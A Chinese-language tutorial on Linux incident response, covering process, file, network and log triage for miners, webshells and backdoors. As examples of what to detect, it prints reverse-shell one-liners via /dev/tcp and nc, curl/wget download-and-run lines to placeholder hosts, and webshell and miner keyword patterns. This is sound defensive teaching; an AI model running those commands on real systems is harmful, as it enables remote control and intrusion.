本文内容整理自上传压缩包《03.Linux 应急响应》,已完成解压与图片整理,并以适合博客阅读的形式发布。
Linux 应急响应
1. Linux 应急响应概述
1.1 应急响应概述
应急响应是指在服务器、网站、业务系统或网络环境出现安全异常后,安全人员快速介入,对事件进行确认、控制、分析、清理和恢复的过程。
简单来说,应急响应要解决几个问题:
| 问题 | 说明 |
|---|---|
| 是否被攻击 | 判断异常是不是安全事件 |
| 怎么进来的 | 确认攻击入口,比如 SSH 弱口令、Web 漏洞、文件上传等 |
| 做了什么 | 分析攻击者执行了哪些操作 |
| 留了什么 | 排查是否存在后门、账号、公钥、定时任务、WebShell 等 |
| 怎么恢复 | 清理恶意内容,修复漏洞,恢复业务 |
| 怎么避免再次发生 | 做加固、监控和复盘 |
在 Linux 应急中,常见场景有:
- CPU 异常升高,疑似挖矿;
- 网站目录出现 WebShell;
- SSH 被暴力破解;
- 服务器存在异常外联;
- 系统出现陌生账号或异常权限;
- 定时任务中出现可疑脚本;
- 业务文件被篡改或加密;
- 安全设备、云平台产生入侵告警。
应急响应不是简单地“杀进程、删文件”。如果只把表面的恶意进程删掉,但没有找到攻击入口和权限维持方式,攻击者很可能还会再次进入。
所以一次完整的应急,一般会按照下面几个阶段进行。
- 调查:定位涉事资产、涉事部门人员、以及相关业务信息,组建应急沟通群。
- 评估:判断事件类型(如挖矿、勒索、DDoS、Webshell等),评估事件影响范围和影响严重程度。
- 抑制:根据影响情况及时进行备份数据(如果安全事件与数据和程序相关,则要求相关业务方、机器管理员对存有数据和程序的存储介质进行备份,以保护数据和证据的安全、完整)、隔离涉事资产(如配置防火墙、关站、关服务、断网等)、备走流量等措施,以保护现场、防止扩散。
- 分析:对受影响的服务器主机和业务系统进行入侵排查,主要进行取证和溯源,并根据定位到的入侵点提出相关安全加固建议。可通过信息收集、日志查看、样本分析、业务系统漏洞测试等方法来分析。
- 恢复:清理服务器主机上涉事的病毒和后门,若无法全部定位清理,则建议重装系统。业务方按照给出的加固建议进行相关配置加固和漏洞修复并经过安全部门应急处置组的验证后,方可恢复业务。后续安全组将基于分析提取的恶意样本特征、入侵漏洞、攻击行为等,根据实际情况增加相应的检测规则并持续监控。
- 报告:将安全事件发现和处理的全过程进行总结,形成安全事件应急响应处置报告,并通报上级。

1.2 Linux 应急响应在查什么
Linux 应急响应不是单纯地“查木马”“删后门”,而是要把一次入侵事件尽量还原清楚,输出应急响应报告。
一次完整的 Linux 应急,一般要回答这几个问题:
1. 服务器是否真的被入侵?
2. 攻击者从哪里进来的?
3. 攻击者进来后执行了什么?
4. 攻击者有没有留下后门?
5. 服务器当前是否还在被控制?
6. 如何清理、恢复和加固?
很多新手在应急时会直接从日志开始看,但实际现场里,日志不一定完整,甚至可能被攻击者删除或篡改。所以 Linux 主机侧排查一般会从多个角度交叉验证。
比较常见的四个排查方向是:
进程分析
文件分析
网络分析
日志分析
这四个方向不是孤立的,而是互相印证的。
比如发现一个可疑进程,就要继续看:
进程名是什么?
进程 PID 是多少?
进程文件在哪里?
进程由谁启动?
进程有没有网络连接?
进程是否由定时任务或服务拉起?
日志里有没有对应的登录或 Web 访问记录?
也就是说,进程、文件、网络、日志最终要串成一条完整的攻击链。
1.2 为什么分析进程
在应急现场,当前正在运行的东西最容易反映服务器的实时状态。
如果服务器已经被入侵,攻击者常见行为包括:
运行挖矿进程
启动反弹 Shell
运行代理程序
启动 WebShell 管理端
执行内存马或恶意脚本
通过定时任务反复拉起恶意程序
通过 systemd 伪装成正常服务
这些行为很多都会直接表现为异常进程、异常资源占用、异常网络连接。
1.3 Linux 应急响应的基本思路
应急时不要一上来就执行破坏性操作。
错误做法:
kill -9 可疑PID
rm -rf 可疑文件
history -c
清空 /var/log/
直接重启服务器
这些操作可能导致:
进程参数丢失
网络连接中断,无法追踪 C2
文件时间戳和样本丢失
日志证据被破坏
攻击入口无法还原
后门清理不完整
比较稳妥的做法是:
先看现象
再保现场
再定位进程
再关联文件
再关联网络
再回溯日志
最后清理和加固
可以记成一句话:
先判断当前还在跑什么,再看这些东西从哪里来、连到哪里去、什么时候出现。
1.4 Linux 应急响应四大方向
1.4.1 进程分析
进程分析主要看服务器当前正在运行什么。
重点查看:
是否存在异常进程?
是否有高 CPU / 高内存进程?
是否有伪装成系统进程的恶意程序?
进程文件路径是否异常?
进程是否存在外联?
进程是否由定时任务、systemd 服务或 Web 服务拉起?
常见命令:
ps
top
pstree
lsof
ss
netstat
/proc
适合发现:
挖矿程序
反弹 Shell
恶意脚本
代理程序
后门进程
异常 Web 子进程
隐藏或伪装进程
1.4.2 文件分析
文件分析主要看攻击者有没有落地文件、修改文件或者植入后门。
重点查看:
最近新增了什么文件?
最近修改了什么文件?
/tmp、/var/tmp、/dev/shm 有没有异常文件?
Web 目录下有没有 WebShell?
是否存在定时任务、启动项、systemd 后门?
是否存在 SUID、LD_PRELOAD、PAM、SSH 公钥等权限维持?
常见命令:
find
stat
file
strings
md5sum
sha256sum
lsattr
rpm -V
debsums
1.4.3 网络分析
网络分析主要看服务器当前开放了什么端口、连接了谁。
重点回答:
服务器监听了哪些端口?
哪些进程占用了端口?
是否存在异常外联?
是否连接恶意 IP、矿池或 C2?
是否存在代理、端口转发或端口复用?
常见命令:
ss
netstat
lsof
iptables
nft
tcpdump
网络分析可以发现纵向连接,比如恶意进程连接 C2,也可以发现横向连接,比如受害服务器继续扫描或连接内网其他机器。
1.4.4 日志分析
日志分析主要用来还原时间线。
重点回答:
攻击者什么时候登录?
从哪个 IP 登录?
使用哪个账号?
是否 SSH 爆破成功?
是否执行 sudo / su?
是否通过 Web 漏洞进入?
Web 日志中有没有攻击请求?
常见日志:
/var/log/secure
/var/log/auth.log
/var/log/messages
/var/log/syslog
/var/log/cron
/var/log/wtmp
/var/log/btmp
/var/log/lastlog
Nginx access.log / error.log
Apache access_log / error_log
Tomcat catalina.out / localhost_access_log
日志分析适合还原攻击路径,但不能完全依赖日志,因为攻击者可能清理日志。
1.5 四个方向之间的关联

应急时不要把四个方向割裂。
举个例子:
场景:发现 CPU 很高
第一步看进程:
top
ps aux --sort=-%cpu | head
发现一个异常进程:
/tmp/.x/kinsing
第二步看文件:
ls -al /tmp/.x/
stat /tmp/.x/kinsing
file /tmp/.x/kinsing
sha256sum /tmp/.x/kinsing
第三步看网络:
ss -antup | grep kinsing
lsof -i -P -n | grep kinsing
第四步看日志:
grep "Accepted" /var/log/secure
grep "Failed password" /var/log/secure
grep -R "kinsing\|curl\|wget" /var/log/
最后尝试还原:
攻击者可能通过 SSH 弱口令登录
↓
登录后 curl 下载脚本
↓
脚本释放挖矿程序到 /tmp
↓
通过定时任务维持
↓
进程连接矿池
这样才是一条完整的应急分析链。
2. 进程分析
2.1 进程分析要解决什么问题
进程分析是 Linux 应急中非常重要的一步。
因为只要攻击者的程序还在运行,就会在系统里留下运行态痕迹,比如:
进程名
PID
父进程
启动用户
启动命令
当前工作目录
可执行文件路径
打开的文件
网络连接
CPU / 内存占用
进程分析主要解决下面几个问题:
1. 当前系统有没有异常进程?
2. 哪些进程占用 CPU 或内存异常?
3. 可疑进程的真实文件在哪里?
4. 可疑进程是谁启动的?
5. 可疑进程是否有网络连接?
6. 可疑进程是否会被重新拉起?
7. 是否存在进程隐藏或伪装?
应急时看到可疑进程,不要马上 kill。
先把它的信息采集下来。
2.2 查看当前进程
最常用的命令:
ps aux
ps -ef
top
pstree -ap
这几个命令都是用来查看 Linux 当前运行进程的,只是侧重点不同
| 命令 | 作用 |
|---|---|
ps aux |
查看系统中所有进程的详细信息,常用于看进程用户、PID、CPU/内存占用和启动命令。 |
ps -ef |
查看所有进程,并显示父进程 PID,适合分析进程是由谁启动的。 |
top |
实时查看系统资源占用情况,常用于发现 CPU、内存占用异常的进程。 |
pstree -ap |
以树状结构显示进程关系,适合分析父子进程,比如判断恶意进程是由 sshd、cron 还是 Web 服务拉起的。 |
2.2.1 ps aux
ps aux
常见字段:
| 字段 | 说明 |
|---|---|
| USER | 进程所属用户 |
| PID | 进程 ID |
| %CPU | CPU 占用 |
| %MEM | 内存占用 |
| VSZ | 虚拟内存 |
| RSS | 实际内存 |
| TTY | 终端 |
| STAT | 进程状态 |
| START | 启动时间 |
| TIME | 累计 CPU 时间 |
| COMMAND | 启动命令 |
常用排序:
ps aux --sort=-%cpu | head -20
ps aux --sort=-%mem | head -20
排查重点:
CPU 占用异常高的进程
内存占用异常高的进程
运行用户异常的进程
命令行参数异常的进程
路径位于 /tmp、/var/tmp、/dev/shm 的进程
进程名看起来像系统进程,但路径不对
2.2.2 ps -ef
ps -ef
ps -ef 更适合看父子进程关系。
常见字段:
| 字段 | 说明 |
|---|---|
| UID | 运行用户 |
| PID | 当前进程 ID |
| PPID | 父进程 ID |
| C | CPU 使用情况 |
| STIME | 启动时间 |
| TTY | 终端 |
| TIME | CPU 时间 |
| CMD | 命令 |
重点看 PPID。
例如:
www-data 2310 1200 0 10:20 ? 00:00:00 sh -c wget http://x.x.x.x/a.sh -O- | sh
如果一个 Shell 进程的父进程是 Web 服务,比如:
nginx
apache
httpd
php-fpm
tomcat
java
就要特别注意。
这可能说明攻击者通过 Web 漏洞执行了系统命令。
2.3 查看进程树
pstree -ap
这个命令对判断恶意进程来源很有用。
例如:
nginx,1200
└─php-fpm,1210
└─sh,2310 -c curl http://1.2.3.4/a.sh|bash
└─bash,2311
└─miner,2312
这个进程树基本可以说明:
攻击者可能通过 Web 服务执行命令
命令调用了 curl 下载脚本
脚本启动了 miner 挖矿进程
再比如:
sshd,1000
└─sshd,2100
└─bash,2105
└─wget,2110
└─chmod,2111
└─./x,2112
这个更像是:
攻击者通过 SSH 登录后手工执行命令
进程树的价值就在于:
它不只是告诉你“有什么进程”,还告诉你“这个进程是从哪里来的”。
2.4 使用 top 排查异常资源占用
top
进入 top 后常用操作:
P:按 CPU 排序
M:按内存排序
c:显示完整命令行
k:kill 进程,不建议现场随便使用
q:退出
重点关注:
CPU 长时间占用很高
负载 load average 异常
进程名陌生
进程名伪装成系统进程
进程启动用户异常
如果mem占用高,则可能为内存型DoS病毒。
如果cpu占用高,且进程为多线程,并伴有外连行为,则大概率为挖矿木马;
如果外连行为数量多,且连接端口为常见远程服务端口,则大概率为横向扫描工具;
如果外连行为数量多,连接类型和端口各异,则大概率为僵尸网络DDoS病毒

挖矿木马常见现象:
CPU 长期 90% 以上
进程名随机或伪装
进程路径在 /tmp、/var/tmp、/dev/shm
存在定时任务反复拉起
存在外联矿池
常见伪装进程名:
kworker
kthreadd
kswapd0
sshd
systemd
dbus
bash
cron
rsync
注意:不能只凭进程名判断。
要看它的真实路径和父进程。
2.5 根据 PID 深入分析进程
发现可疑 PID 后,不要只看 ps 输出,要进入 /proc 看详细信息。
/proc 是 Linux 里的一个虚拟文件系统,里面不是真正存放在硬盘上的文件,而是内核实时生成的系统和进程信息。
简单理解:
/proc = Linux 暴露给用户查看系统运行状态的窗口
每个正在运行的进程,都会在 /proc 下有一个对应 PID 的目录,例如进程 PID 是 2312,就会有:
/proc/2312/
里面可以看到这个进程的详细信息,比如:
| 路径 | 作用 |
|---|---|
/proc/PID/exe |
进程对应的真实可执行文件 |
/proc/PID/cmdline |
进程启动命令和参数 |
/proc/PID/cwd |
进程当前工作目录 |
/proc/PID/environ |
进程环境变量 |
/proc/PID/fd/ |
进程打开的文件描述符 |
/proc/PID/status |
进程状态、用户、内存等信息 |
假设可疑 PID 是 2312。
2.5.1 查看进程真实路径
ls -al /proc/2312/exe
readlink /proc/2312/exe
正常系统进程通常在:
/usr/bin/
/usr/sbin/
/bin/
/sbin/
/lib/systemd/
可疑路径包括:
/tmp/
/var/tmp/
/dev/shm/
/run/
/var/spool/
/etc/.xxx/
/usr/local/.xxx/
Web 上传目录
如果看到:
/proc/2312/exe -> /tmp/.x/sshd
这就很可疑。
因为真正的 sshd 通常在:
/usr/sbin/sshd
2.5.2 查看进程启动命令
cat /proc/2312/cmdline
有时候输出会挤在一起,可以这样看:
tr '\0' ' ' < /proc/2312/cmdline
关注参数里是否有:
curl
wget
bash -c
python -c
perl -e
nc
/dev/tcp
base64
nohup
/tmp
/dev/shm
例如:
bash -c curl http://1.2.3.4/a.sh | sh
或者:
python -c 'import socket,subprocess,os;...'
这类命令一般高度可疑。
2.5.3 查看进程当前工作目录
ls -al /proc/2312/cwd
pwdx 2312
如果工作目录在 Web 目录:
/var/www/html
/www/wwwroot
/usr/local/tomcat/webapps
要考虑 Web 入侵。
如果工作目录在临时目录:
/tmp
/var/tmp
/dev/shm
要考虑恶意脚本、挖矿或反弹 Shell。
2.5.4 查看进程环境变量
tr '\0' '\n' < /proc/2312/environ
可能看到:
PATH
LD_PRELOAD
HOME
PWD
USER
SHELL
重点关注:
LD_PRELOAD 是否异常
PATH 是否被劫持
HOME 是否异常
如果进程环境变量中有异常 LD_PRELOAD,可能涉及动态链接劫持。
2.5.5 查看进程打开的文件
lsof -p 2312
关注:
打开了哪些文件
是否打开恶意脚本
是否打开日志文件
是否打开网络 socket
是否打开已删除文件
有时候恶意程序会删除自身,但进程还在运行。
这时 lsof 或 /proc 可能看到:
deleted
排查命令:
ls -al /proc/2312/exe
lsof -p 2312 | grep deleted
如果看到:
/tmp/.x/miner (deleted)

说明文件虽然被删除了,但进程仍然在内存中运行。
2.6 进程与网络连接关联
进程分析不能只看进程本身,还要看它有没有网络连接。
常用命令:
ss -antup
netstat -antup
lsof -i -P -n
根据 PID 查网络:
ss -antup | grep 2312
lsof -i -P -n | grep 2312
重点关注:
可疑进程是否连接公网 IP
是否连接高危端口
是否连接矿池
是否存在反弹 Shell
是否监听了异常端口
例如:
ESTAB 0 0 192.168.1.10:45678 1.2.3.4:4444 users:(("bash",pid=2312))
这类情况就很像反弹 Shell。
如果看到:
LISTEN 0 128 0.0.0.0:31337 users:(("sshd",pid=2312))
但真实路径是:
/tmp/.sshd
那基本可以判断是伪装后门进程。
2.7 常见可疑进程类型
2.7.1 挖矿进程
典型特征:
CPU 占用高
进程名随机或伪装
连接矿池
文件位于 /tmp、/var/tmp、/dev/shm
经常由定时任务反复拉起
排查命令:
top
ps aux --sort=-%cpu | head -20
readlink /proc/PID/exe
lsof -i -P -n | grep PID
crontab -l
cat /var/spool/cron/* 2>/dev/null
常见关键词:
xmrig
miner
kinsing
kdevtmpfsi
kthreaddi
crypto
pool
stratum
搜索命令:
ps aux | grep -Ei "xmrig|miner|kinsing|kdevtmpfsi|kthreaddi|crypto|pool|stratum"
2.7.2 反弹 Shell 进程
典型特征:
bash、sh、python、perl、php、nc 等进程主动连接外部 IP
父进程可能是 Web 服务或 sshd
命令行里可能出现 /dev/tcp、bash -i、nc -e
排查命令:
ps -ef | grep -E "bash|sh|python|perl|php|nc"
ss -antup | grep ESTAB
lsof -i -P -n
pstree -ap
重点关注:
bash 是否有外联
python/perl 是否有外联
php-fpm 子进程是否启动 shell
nc 是否连接外网
示例可疑命令:
bash -i >& /dev/tcp/1.2.3.4/4444 0>&1
nc 1.2.3.4 4444 -e /bin/bash
python -c 'import socket,subprocess,os;...'
2.7.3 Web 命令执行进程
如果服务器是 Web 服务器,要特别看 Web 服务的子进程。
常见 Web 服务进程:
nginx
apache
httpd
php-fpm
tomcat
java
node
uwsgi
gunicorn
排查:
pstree -ap | grep -E "nginx|apache|httpd|php-fpm|tomcat|java"
ps -ef | grep -E "nginx|apache|httpd|php-fpm|tomcat|java"
异常情况:
php-fpm 启动了 sh
nginx 子进程启动了 wget
tomcat 子进程启动了 bash
java 进程启动了 curl
httpd 子进程启动了 python
这种情况通常说明:
Web 漏洞触发了命令执行
或者 WebShell 被访问后执行了系统命令
下一步要去查 Web 日志和 Web 目录文件。
2.7.4 伪装系统进程
攻击者常把恶意程序改成类似系统进程的名字。
常见伪装方式:
/usr/sbin/sshd 真 sshd
/tmp/sshd 假 sshd
[kworker/u8:1] 真内核线程形式
/tmp/kworker 假 kworker
/usr/lib/systemd/systemd 真 systemd
/dev/shm/systemd 假 systemd
排查时注意:
ps -ef | grep sshd
readlink /proc/PID/exe
ls -al /proc/PID/exe
判断标准:
进程名像正常系统进程,但路径不在正常目录,基本可疑。
进程名带中括号,不一定是真的内核线程,要结合 /proc 查看。
2.8 父子进程分析
父子进程非常关键。
看进程不能只看单个 PID,而要看它的来源。
命令:
ps -ef
pstree -ap
重点看:
PPID 是谁?
父进程是不是 sshd?
父进程是不是 Web 服务?
父进程是不是 cron?
父进程是不是 systemd?
父进程是不是某个陌生脚本?
不同父进程对应不同入侵线索:
| 父进程 | 可能含义 |
|---|---|
sshd |
攻击者可能通过 SSH 登录执行 |
cron / crond |
可能由定时任务拉起 |
systemd |
可能注册成系统服务 |
nginx / httpd / php-fpm |
可能 WebShell 或 Web RCE |
java / tomcat |
可能 Java 中间件漏洞 |
bash / sh |
可能脚本执行 |
python / perl |
可能脚本木马 |
举例:
crond
└─sh -c curl http://x.x.x.x/a.sh | bash
└─miner
说明恶意程序可能由定时任务拉起。
再如:
systemd
└─network-check
└─bash
└─miner
说明攻击者可能创建了伪装 systemd 服务。
2.9 查看进程启动时间
有时候需要确认恶意进程什么时候启动。
ps -eo pid,lstart,cmd | grep PID
示例:
ps -eo pid,lstart,cmd | grep 2312
也可以看 /proc 目录时间:
ls -ld /proc/2312
这可以和后续日志时间线对应:
进程启动时间
↓
SSH 登录成功时间
↓
WebShell 访问时间
↓
恶意文件创建时间
↓
定时任务修改时间
如果这些时间能对应上,就能还原攻击过程。
2.10 检查是否存在隐藏进程
一般情况下,普通应急先不直接判断 rootkit。
rootkit攻击技术是指恶意软件隐藏自身或指定目标进程、网络、文件等信息从而避免入侵被发现的行为。
rootkit攻击技术又分为用户态的rootkit和内核态的rootkit,用户态的rootkit主要手法有系统命令替换、进程注入、动态库劫持等;
内核态的rootkit比较复杂,主要利用内核模块LKM实现,这里先不做展开。
但如果出现下面情况,要考虑隐藏进程或命令被替换:
CPU 很高,但 top 看不到明显进程
网络连接异常,但 ss/netstat 看不到对应进程
/proc 中有 PID,但 ps 看不到
系统命令输出前后不一致
ps、netstat、ls 等命令疑似被替换
可以做一些简单交叉检查。
2.10.1 对比 ps 和 /proc
ls /proc | grep -E "^[0-9]+$" | sort -n > /tmp/proc_pid.txt
ps -e -o pid= | sort -n > /tmp/ps_pid.txt
diff /tmp/proc_pid.txt /tmp/ps_pid.txt
如果 /proc 中有 PID,但 ps 看不到,需要重点关注。
2.10.2 使用 chkrootkit / rkhunter
chkrootkit
rkhunter --check
这些工具只能辅助判断,不能作为唯一结论。
2.11 进程分析常用命令清单
查看进程
ps aux
ps -ef
top
pstree -ap
按资源排序
ps aux --sort=-%cpu | head -20
ps aux --sort=-%mem | head -20
查看进程路径
readlink /proc/PID/exe
ls -al /proc/PID/exe
查看启动命令
cat /proc/PID/cmdline
tr '\0' ' ' < /proc/PID/cmdline
查看工作目录
pwdx PID
ls -al /proc/PID/cwd
查看环境变量
tr '\0' '\n' < /proc/PID/environ
查看打开文件
lsof -p PID
查看网络连接
ss -antup | grep PID
lsof -i -P -n | grep PID
查看启动时间
ps -eo pid,lstart,cmd | grep PID
ls -ld /proc/PID
查已删除但仍运行的文件
lsof | grep deleted
ls -al /proc/*/exe 2>/dev/null | grep deleted
2.12 进程分析小结

进程分析这一块,需要掌握的不是某一个命令,而是下面这条思路:
先找异常进程
↓
看资源占用
↓
看进程路径
↓
看启动命令
↓
看父子进程
↓
看打开文件
↓
看网络连接
↓
判断是否有定时任务或服务拉起
这一章最终要形成一个习惯:
看到一个可疑进程,不要只问“它叫什么”,而要问:
它从哪里来?
它是谁拉起来的?
它在执行什么?
它连到哪里?
它对应的文件在哪里?
它会不会被重新拉起?
进程路径已经找到了,接下来就要分析这个文件本身;
如果进程文件在 /tmp、/var/tmp、/dev/shm、Web 目录,就要进一步判断是否为木马、WebShell、挖矿程序或权限维持文件。
3. 文件分析
3.1 文件分析主要查什么
文件分析是 Linux 应急响应里非常重要的一块。
进程分析解决的是“当前系统正在运行什么”,文件分析解决的是“攻击者在系统里留下了什么”。
常见要排查的内容包括:
| 排查点 | 说明 |
|---|---|
| 最近新增文件 | 攻击者上传的木马、脚本、工具 |
| 最近修改文件 | 被篡改的配置、Web 文件、系统文件 |
| 临时目录文件 | /tmp、/var/tmp、/dev/shm 下的恶意文件 |
| Web 目录文件 | WebShell、挂马文件、异常上传文件 |
| 定时任务 | 反复拉起恶意脚本或反弹 Shell |
| 启动项 | systemd、rc.local、init.d 后门 |
| SSH 公钥 | authorized_keys 免密登录后门 |
| 特殊权限文件 | SUID、SGID 提权后门 |
| 文件隐藏属性 | chattr +i 导致文件无法删除 |
| 动态链接劫持 | /etc/ld.so.preload 后门 |
| PAM / SSHD 后门 | 替换认证模块或 SSH 服务程序 |
文件分析的思路可以简单理解为:
看攻击者有没有落地文件,有没有改配置,有没有写后门,有没有做持久化。
3.2 常见可疑目录
攻击者通常喜欢把恶意文件放在具有写权限、位置隐蔽或者容易被忽略的目录里。
常见高危目录:
| 目录 | 说明 |
|---|---|
/tmp |
临时目录,任何用户通常都可写,可能重启后就没了 |
/var/tmp |
临时目录,重启后文件通常仍保留 |
/dev/shm |
内存文件系统,常被恶意程序利用 |
/run |
运行时目录,部分程序会写入临时文件 |
/var/spool |
定时任务、邮件队列等相关目录 |
/etc |
系统配置目录,后门可能伪装成配置 |
/usr/local/bin |
可能被放置伪装命令或后门程序 |
/root |
root 用户目录 |
/home/* |
普通用户目录 |
| Web 目录 | 如 /var/www/html、/www/wwwroot |
查看这些目录时,建议加上 -a 参数,因为攻击者经常创建隐藏文件或隐藏目录。
ls -al /tmp
ls -al /var/tmp
ls -al /dev/shm
ls -al /var/spool
Linux 中以 . 开头的文件默认不会被普通 ls 显示,例如:
/tmp/.x
/dev/shm/.cache
/var/tmp/.system
这些目录名看起来像正常缓存目录,但在应急中需要重点关注。
3.3 查找最近新增或修改的文件
文件时间是应急分析里很重要的线索。
如果已经知道大概入侵时间,可以围绕这个时间点查找新增或修改文件。
查找 1 天内修改的文件:
find / -type f -mtime -1 2>/dev/null
查找 3 天内修改的文件:
find / -type f -mtime -3 2>/dev/null
查找 60 分钟内修改的文件:
find / -type f -mmin -60 2>/dev/null
如果只想查重点目录,可以这样:
find /tmp /var/tmp /dev/shm -type f -mtime -3 2>/dev/null
find /var/www /www/wwwroot -type f -mtime -3 2>/dev/null
常用时间参数:
| 参数 | 说明 |
|---|---|
-mtime -1 |
1 天内修改过 |
-mtime -3 |
3 天内修改过 |
-mmin -60 |
60 分钟内修改过 |
-ctime |
inode 状态变化时间 |
-atime |
访问时间 |
排查时重点看:
- 文件路径是否异常;
- 文件名是否伪装;
- 修改时间是否接近入侵时间;
- 文件是否有执行权限;
- 文件是否位于临时目录、Web 目录或系统配置目录。
一个应急的实际案例:
find / -type f -newermt "2023-03-28 12:00:00" ! -newermt "2023-03-28 13:00:00" 2>/dev/null

意思是:
从根目录
/开始查找所有普通文件,找出 修改时间在 2023-03-28 12:00:00 到 2023-03-28 13:00:00 之间 的文件,并隐藏无权限访问产生的报错。
拆开看:
| 部分 | 含义 |
|---|---|
find / |
从根目录开始查找 |
-type f |
只查普通文件,不查目录 |
-newermt "2023-03-28 12:00:00" |
查找修改时间晚于这个时间的文件 |
! -newermt "2023-03-28 13:00:00" |
排除修改时间晚于 13:00 的文件,也就是限制在 13:00 之前 |
2>/dev/null |
隐藏权限不足等错误信息 |
所以这个时间条件可以理解为:
2023-03-28 12:00:00 之后
并且
2023-03-28 13:00:00 之前或等于这个时间
在应急响应里,这个命令很常用。比如日志里发现攻击者在 12:20 登录成功,就可以用这个命令查 12:00 到 13:00 期间系统新增或修改了哪些文件,从而快速定位 WebShell、后门脚本、恶意程序、被篡改配置等。
可以看到在攻击时间前后,被修改过的文件就这些,重点查看web目录里有没有隐藏文件

发现是一句话木马
3.4 查看文件详细信息
发现可疑文件后,不要直接删除,先查看基本信息。
常用命令:
stat suspicious_file
file suspicious_file
ls -al suspicious_file
md5sum suspicious_file
sha256sum suspicious_file
strings suspicious_file | head
这些命令分别用于:
| 命令 | 作用 |
|---|---|
stat |
查看文件时间、权限、大小等详细信息 |
file |
判断文件类型 |
ls -al |
查看权限、属主、大小、时间 |
md5sum |
计算 MD5 哈希 |
sha256sum |
计算 SHA256 哈希 |
strings |
从二进制文件中提取可见字符串 |
例如:
stat /tmp/.x/miner
file /tmp/.x/miner
sha256sum /tmp/.x/miner
strings /tmp/.x/miner | head -30
如果 strings 中出现下面内容,要重点关注:
| 关键字 | 可能含义 |
|---|---|
pool、stratum |
挖矿程序 |
bash -i、/dev/tcp |
反弹 Shell |
wget、curl |
下载远程脚本 |
authorized_keys |
SSH 公钥后门 |
crontab、cron |
定时任务 |
LD_PRELOAD |
动态链接劫持 |
| IP 地址、域名 | C2、矿池或下载地址 |
3.5 查找可执行文件
恶意程序一般需要执行权限。
可以重点查临时目录和 Web 目录中的可执行文件。
find /tmp /var/tmp /dev/shm -type f -perm /111 -ls 2>/dev/null
这个命令是用来查找 临时目录中带执行权限的普通文件,常用于排查木马、挖矿程序、反弹 Shell 脚本等。
拆开看:
| 部分 | 含义 |
|---|---|
find /tmp /var/tmp /dev/shm |
在 /tmp、/var/tmp、/dev/shm 这三个目录下查找 |
-type f |
只查普通文件,不查目录 |
-perm /111 |
查找任意用户具有执行权限的文件 |
-ls |
以详细格式显示文件信息,类似 ls -l |
2>/dev/null |
隐藏权限不足等报错信息 |
其中 -perm /111 重点是看执行权限:
1 = 执行权限 x
111 = 所有者、所属组、其他用户的执行权限位
/111 = 任意一个执行权限位满足即可
也就是说,只要文件权限里有一个 x,就会被找出来。
比如下面这些都会匹配:
-rwx------ 只有所有者可执行
-rwxr-xr-x 所有人可执行
-rw-r--r-x 其他用户可执行
也可以查最近几天新增的可执行文件:
find /tmp /var/tmp /dev/shm -type f -perm /111 -mtime -7 -ls 2>/dev/null
Web 目录里一般不应该出现 Linux ELF 可执行文件。
如果在 Web 目录下发现二进制程序,需要重点关注。
find /var/www /www/wwwroot -type f -perm /111 -ls 2>/dev/null
查看文件类型:
file suspicious_file
如果显示:
ELF 64-bit LSB executable
说明这是 Linux 可执行程序。
3.6 WebShell 文件排查
如果服务器运行 Web 服务,文件分析一定要查 Web 目录。
常见 Web 目录:
| 环境 | 常见路径 |
|---|---|
| Nginx / Apache | /var/www/html |
| 宝塔 | /www/wwwroot |
| Tomcat | webapps/ROOT、webapps/项目名 |
| PHP 项目 | 项目根目录、upload、uploads、runtime |
| Java 项目 | .jsp、.jspx、.war、.class |
可以下载河马webshell查杀工具
https://www.shellpub.com/
在线的webshell查杀也有
https://stack.chaitin.com/security-challenge/webshell/index
3.6.1 查最近修改的 Web 文件
find /var/www/html -type f -mtime -7 2>/dev/null
find /www/wwwroot -type f -mtime -7 2>/dev/null
如果知道具体入侵时间,可以缩小范围:
find /var/www/html -type f -mmin -180 2>/dev/null
重点关注:
- 上传目录;
- 缓存目录;
- 图片目录;
- 临时目录;
- 插件目录;
- 模板目录;
- 文件名很短或无意义的文件。
常见可疑文件名:
1.php
a.php
x.php
shell.php
cmd.php
up.php
test.php
index1.php
.index.php
config.php
注意:攻击者也会把 WebShell 伪装成正常文件名,例如 config.php、db.php、functions.php,所以不能只靠文件名判断。
3.6.2 搜索 PHP WebShell 关键字
PHP WebShell 常见危险函数:
grep -R -n -E "eval|assert|system|shell_exec|passthru|exec|popen|proc_open|base64_decode|gzinflate|str_rot13" /var/www/html 2>/dev/null
宝塔环境:
grep -R -n -E "eval|assert|system|shell_exec|passthru|exec|popen|proc_open|base64_decode" /www/wwwroot 2>/dev/null
常见可疑特征:
| 特征 | 说明 |
|---|---|
eval($_POST[...]) |
典型一句话木马 |
assert($_REQUEST[...]) |
常见 PHP WebShell |
base64_decode |
代码混淆 |
gzinflate |
压缩混淆 |
system、exec |
执行系统命令 |
shell_exec |
执行 Shell 命令 |
passthru |
执行外部程序并回显 |
但要注意:这些函数不一定都是恶意的,有些业务代码也会使用。
判断时要结合文件路径、修改时间、访问日志和代码上下文。
3.6.3 搜索 JSP WebShell 关键字
Tomcat 或 Java Web 项目中,可以查 JSP 文件:
find / -name "*.jsp" -o -name "*.jspx" 2>/dev/null
搜索危险关键字:
grep -R -n -E "Runtime|getRuntime|ProcessBuilder|exec|cmd|request.getParameter|base64" /path/to/webapps 2>/dev/null
常见可疑代码:
| 关键字 | 说明 |
|---|---|
Runtime.getRuntime().exec |
执行系统命令 |
ProcessBuilder |
创建系统进程 |
request.getParameter |
从请求参数获取命令 |
cmd |
命令参数常见名称 |
base64 |
可能存在混淆或传输编码 |
如果发现异常 JSP 文件,下一步要去 Web 访问日志中搜索该文件名,确认是谁访问的。
3.7 临时目录恶意文件排查
Linux 攻击中,临时目录非常常见。
原因很简单:这些目录通常可写,攻击者容易上传或下载文件。
重点目录:
/tmp
/var/tmp
/dev/shm
查看隐藏文件:
ls -al /tmp
ls -al /var/tmp
ls -al /dev/shm
查找可执行文件:
find /tmp /var/tmp /dev/shm -type f -perm /111 -ls 2>/dev/null
查找最近修改:
find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls 2>/dev/null
常见可疑文件名:
kinsing
kdevtmpfsi
xmrig
miner
system
sshd
bash
cron
kworker
.x
.cache
判断重点:
| 现象 | 说明 |
|---|---|
| 文件名伪装系统进程 | 如 kworker、sshd、systemd |
| 文件有执行权限 | 可能是恶意程序 |
| 文件属主是 Web 用户 | 可能通过 Web 漏洞落地 |
| 文件修改时间接近异常时间 | 需要重点关联 |
| 文件被进程占用 | 说明当前可能还在运行 |
可以结合进程查看:
lsof | grep "/tmp"
lsof | grep "/dev/shm"
3.8 定时任务排查
很多后门、挖矿程序和反弹 Shell 都会通过定时任务维持。
